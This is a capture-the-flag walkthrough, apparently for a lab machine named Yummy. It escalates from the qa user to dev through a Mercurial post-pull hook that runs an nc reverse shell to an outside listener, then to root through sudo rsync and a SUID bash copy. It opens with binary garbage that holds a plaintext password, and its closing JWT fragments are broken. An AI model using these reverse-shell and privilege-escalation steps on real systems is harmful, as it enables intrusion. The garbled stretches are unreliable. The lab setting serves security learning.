                                                                                      ;ó~z�q�{�+>=�O_�q6� �"V˺&f�*�T㔇D��퍂��@��V([Q���������̋G��φ����>GQ$
�D��,3�eJoH|j�)�(𶠀yh]��6����~Z�[hY�
                                    �	�w�4L
{��]�ߚ�D������f�:�����s)�����}               �3�ZШ�݆{S?�m��*H�چ���V3�Y�(��]���
 ��L��S�eE��6K�6    'user': 'qa',
    'password': 'jPAd!XQCtn8Oc@2B',
&E&�&�'#'�'�
�0+,0*d	����$4�p�"��_���6�.(�/�`�5	�P8*p�c����g� kwJj��*�zӦ9$՚��N;�Z�U�
    ĉ��D����P�*˅��\Q��]+'¤�2,%��-��Y��
                                      Ąb�,��d[I})u���r��}�X�����F��K>
                                                                     +���@t���k� 9��j��0�04�k��+�O�h���׷
Y
�d�|�p$bJJKx8�D'<a��Z���byh�U�v�]��厒�4�www-data@yummy:~/app-qatesting$ 
ssh qa@10.10.11.36                                
The authenticity of host '10.10.11.36 (10.10.11.36)' can't be established.
ED25519 key fingerprint is SHA256:9fd19UBqhgUKmJ38ElChUROBxqbSG6pvPPpk4IB4xM4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.36' (ED25519) to the list of known hosts.
qa@10.10.11.36's password: 
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu Feb 20 09:09:05 AM UTC 2025

  System load:  0.08              Processes:             263
  Usage of /:   64.4% of 5.56GB   Users logged in:       2
  Memory usage: 23%               IPv4 address for eth0: 10.10.11.36
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

10 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Feb 20 08:46:25 2025 from 10.10.16.36
qa@yummy:~$ 

Pillaging - qa [ user ]

The home directory contains two users directories qa and dev.

qa@yummy:/home$ ls
dev  qa
qa@yummy:/home$ 

Checking the sudo privileges reveals that the qa user has a sudo privilege to run hg as a dev.

qa@yummy:~$ sudo -l
[sudo] password for qa: 
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/
qa@yummy:~$ 

The hg command is a tool that provides a command-line interface to the Mercurial system, which is a distributed version control system used for software development.

.hgrc
# example user config (see 'hg help config' for more info)
[ui]
# name and email, e.g.
# username = Jane Doe <jdoe@example.com>
username = qa

# We recommend enabling tweakdefaults to get slight improvements to
# the UI over time. Make sure to set HGPLAIN in the environment when
# writing scripts!
# tweakdefaults = True

# uncomment to disable color in command output
# (see 'hg help color' for details)
# color = never

# uncomment to disable command output pagination
# (see 'hg help pager' for details)
# paginate = never

[extensions]
# uncomment the lines below to enable some popular extensions
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev

The .hgrc file contains the config of hg and user qa and dev is a trusted user.

Shell - dev [ hg pull ]

The hg also uses the hooks similar to git which we can use to privilege escalate to dev user using the hg pull command to run the reverse shell script.

1

Adding hooks in .hgrc file

[hooks]

post-pull = /tmp/shell.sh

Add the above text into .hgrc file.

2

Setting up in /tmp directory

Change directory into /tmp and create the shell.sh with the reverse shell payload.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.36 8443 >/tmp/f

Create the .hg directory, add the write and read permission in .hg directory, copy and paste the .hgrc file from /home/qa.

qa@yummy:/tmp$ mkdir .hg
qa@yummy:/tmp$ chmod 777 .hg
qa@yummy:/tmp$ cp /home/qa/.hgrc /tmp/.hg/hgrc
3

Open the nc listener and execute the hg command

qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)
rm: cannot remove '/tmp/f': No such file or directory
nc -lvnp 8443     
listening on [any] 8443 ...
connect to [10.10.16.36] from (UNKNOWN) [10.10.11.36] 54086
$ whoami
dev
$

Pillaging - dev

Checking the sudo privilege reveals that the dev has a sudo privilege to run rsync as a root.

$ sudo -l
Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
you have mail
you have mail
$

rsync is a utility for transferring and synchronizing files between a computer and a storage drive and across networked computers by comparing the modification times and sizes of files.

Shell - root [ rsync ]

Methodology

The bash binary will be copied into /home/dev/app-production/ directory and adds the suid bit into it but the above rsync command contains the -a flag which preserves the permissions, symbolic links and other attributes of the file. We can change the permission to root using the rsync --chown flag.

Exploit

1

Preparing bash binary

Copy the bash binary into /home/dev/app-production/ directory and add the suid bit into it.

$ cp /usr/bin/bash /home/dev/app-production/
$ chmod u+s /home/dev/app-production/bash
$
2

Getting the root shell

Execute the rsync and bash binary to get the root shell.

$ sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
$ /opt/app/bash -p
whoami
root

Proof of Concept

The below video provides the PoC of Yummy machine.

Using to decode the JWT reveals the role field as a customer. The value of n is revealed which we can use to change the role of customer into admin.

Decoding the new JWT using .

The user.txt file contains the user flag

The root.txt file contains the root flag

👏
🎉
LazyTitan33
jwt.io
jwt.io
Page cover image